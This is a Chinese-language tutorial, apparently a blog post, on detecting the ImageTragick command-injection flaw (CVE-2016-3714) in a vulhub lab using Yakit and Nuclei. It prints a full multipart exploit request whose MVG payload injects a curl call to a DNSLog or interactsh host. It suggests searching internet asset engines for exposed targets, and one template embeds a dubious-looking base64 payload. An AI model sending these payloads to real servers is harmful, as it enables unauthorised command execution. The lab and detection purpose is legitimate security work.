Imagetragick 命令注入漏洞扫描

ImageMagick 命令注入漏洞(CVE-2016-3714)是 2016 年曝光的高危远程代码执行(RCE)漏洞,影响当时主流版本的 ImageMagick 工具 ------ 这是一款全球广泛使用的开源图像处理库,支持 PNG、GIF、SVG 等上百种图像格式,被 PHP、Python 等语言的 Web 应用、服务器工具(如图片上传功能)大量集成。

漏洞核心原理

ImageMagick 处理图像时,会解析图像文件中的「特殊指令」(如 SVG 中的 url()、MVG 格式的命令),并调用系统底层命令(如 curlwget)执行。漏洞的本质是:ImageMagick 对用户上传的恶意图像文件缺乏安全过滤,导致攻击者可在图像中嵌入系统命令,被工具解析后直接执行

现在用靶场来测试,基于nuclei的漏洞扫描

进入https://github.com/vulhub/vulhub/tree/master/imagemagick/CVE-2016-3714,用AI生成扫描模板

复制漏洞描述

加上request

复制子域名,替换上去

复制的poc

bash 复制代码
ImageMagick Imagetragick Command Injection (CVE-2016--3714)

中文版本(Chinese version)

ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images.

In ImageMagick version before 6.9.3-9, insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats. The CVE-2016-3714 is also called "imagetragick".

References:

    https://imagetragick.com
    https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
    https://github.com/ImageTragick/PoCs

request:
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 328

------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
Content-Type: image/png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "bnzx0f.dnslog.cn)'
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--

在nuclei的ai工具上发送poc

cloud.projectdiscovery.io/templates

bash 复制代码
id: cve-2016-3714-imagetragick-command-injection

info:
  name: ImageMagick Imagetragick Command Injection
  author: PI
  severity: critical
  description: |
    This template checks for the ImageMagick Imagetragick Command Injection (CVE-2016-3714).
    The vulnerability is exploited by sending a crafted file containing malicious commands.
  tags: cve, rce, command-injection, imagetragick
  reference:
    - https://example.com/reference

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
        Connection: close
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
        Content-Length: 328

        ------WebKitFormBoundarymdcbmdQR1sDse9Et
        Content-Disposition: form-data; name="file_upload"; filename="1.gif"
        Content-Type: image/png

        push graphic-context
        viewbox 0 0 640 480
        fill 'url(https://127.0.0.0/oops.jpg"|curl "http://{{interactsh-url}})'
        pop graphic-context
        ------WebKitFormBoundarymdcbmdQR1sDse9Et--

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "Content-Type: text/html"

保存为yaml文件,进入这个目录下启动这个yaml文件(nuclei目录下)

先用yakit测试有没有漏洞,主机填刚刚访问网址的ip,也就是启动靶场的虚拟机ip,域名刷新粘贴上去,发送请求

发送的 POC 触发了目标系统的漏洞,目标会执行你构造的代码 / 请求,进而主动向 DNSLog 子域名发起 DNS 查询 ------ 这个查询行为会被 DNSLog 平台捕获并记录,所以 "回显" 本质是目标主动发起请求的证据,间接证明了漏洞可被触发。

可以看到扫描出一个漏洞,级别为严重

这说明可以去网络空间引擎上搜索带有这个Imagetragick组件的资产去测试。

那么如何利用nuclei去扫描漏洞呢?

步骤 1:确保 Nuclei 及模板已更新

先升级 Nuclei 和漏洞模板(保证包含目标漏洞的最新检测规则):

bash 复制代码
# 升级Nuclei(Windows可直接下载最新包)
nuclei -update

# 升级漏洞模板
nuclei -update-templates

步骤 2:搜索目标插件对应的漏洞模板

比如要扫 Imagetragick,先查找 Nuclei 中对应的模板:

bash 复制代码
# 搜索包含"imagetragick"的模板
nuclei -t ~/nuclei-templates/ -ls | findstr "imagetragick"  # Windows用findstr
# 或(Linux/macOS)
nuclei -t ~/nuclei-templates/ -ls | grep "imagetragick"

​会找到对应的模板文件(比如2016-3714-imagettragick-rce.yaml)。

步骤 3:执行针对该模板的扫描

指定模板和目标 URL/IP:

bash 复制代码
# 扫描单个目标
nuclei -t 2016-3714-imagettragick-rce.yaml -u http://目标地址:端口

# 扫描多个目标(把目标写在targets.txt里)
nuclei -t 2016-3714-imagettragick-rce.yaml -l targets.txt

关键提示

  • 模板是 Nuclei 的核心,不同插件 / 漏洞对应不同模板,搜索模板时可以用漏洞 CVE 编号 (如CVE-2016-3714)或插件名称 (如imagetragick)作为关键词。
  • 若模板库中没有目标插件的模板,也可以自己编写模板(基于 Nuclei 的 YAML 规则格式)。

Nuclei 模板搜索指南

1. 基础搜索(按关键词)

通过漏洞名、CVE 编号、插件名搜索模板:

bash 复制代码
# Windows(搜索Imagetragick相关模板)
nuclei -t ~/nuclei-templates/ -ls | findstr "imagetragick"

# Linux/macOS(搜索CVE-2016-3714相关模板)
nuclei -t ~/nuclei-templates/ -ls | grep "CVE-2016-3714"
2. 分类搜索(按漏洞类型)

Nuclei 模板按类型分类(如http/rce/sqli),可直接进入对应目录搜索:

bash 复制代码
# 进入RCE类型模板目录(Windows)
cd nuclei-templates/http/rce
dir | findstr "imagetragick"

Nuclei 模板自定义编写(基础格式)

模板是 YAML 文件,核心结构包含idinforequestsmatchers四部分(以 Imagetragick 漏洞为例):

bash 复制代码
id: CVE-2016-3714-imagettragick-rce  # 模板唯一ID
info:
  name: Imagetragick RCE  # 漏洞名称
  author: 你的名字
  severity: critical  # 漏洞等级(critical/medium/low)
  description: Imagetragick远程代码执行漏洞
requests:
  - method: POST  # 请求方法
    path: /upload  # 目标路径
    body: "image=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+ZXZhbCgnY2QgPiAvZGV2L3RtcC9mb290ZXIuZXhlJyk8L3NjcmlwdD48L3N2Zz4="  # 构造的POC(包含DNSLog域名)
    headers:
      Content-Type: multipart/form-data  # 请求头
matchers:
  - type: dns  # 匹配方式(这里用DNS回显)
    dns:
      - "你的dnslog子域名"  # 检测是否有DNS请求
    condition: or
相关推荐
小李独爱秋31 分钟前
计算机网络经典问题透视:电子邮件的安全协议PGP主要都包含哪些措施?
运维·服务器·网络·网络协议·计算机网络·安全
上海云盾安全满满36 分钟前
棋牌APP被攻击了要怎么办
网络·安全·游戏
小李独爱秋36 分钟前
计算机网络经典问题透视:互联网的网络层安全协议族IPsec都包含哪些主要协议?
运维·服务器·开发语言·网络协议·计算机网络·安全
星幻元宇VR1 小时前
地震起因及先兆学习系统,提升地震安全教育的新方式
安全·虚拟现实
星幻元宇VR1 小时前
VR消防行走平台|沉浸+互动双重提升应急教育
安全·vr·虚拟现实
星幻元宇VR1 小时前
突破传统消防训练,VR消防体验屋让培训更高效
安全·vr·虚拟现实
一路向北⁢1 小时前
短信登录安全防护方案(Spring Boot)
spring boot·redis·后端·安全·sms·短信登录
_OP_CHEN1 小时前
【从零开始的Qt开发指南】(二十)Qt 多线程深度实战指南:从基础 API 到线程安全,带你实现高效并发应用
开发语言·c++·qt·安全·线程·前端开发·线程安全
小李独爱秋2 小时前
计算机网络经典问题透视:端到端时延和时延抖动有什么区别?
运维·服务器·计算机网络·安全·web安全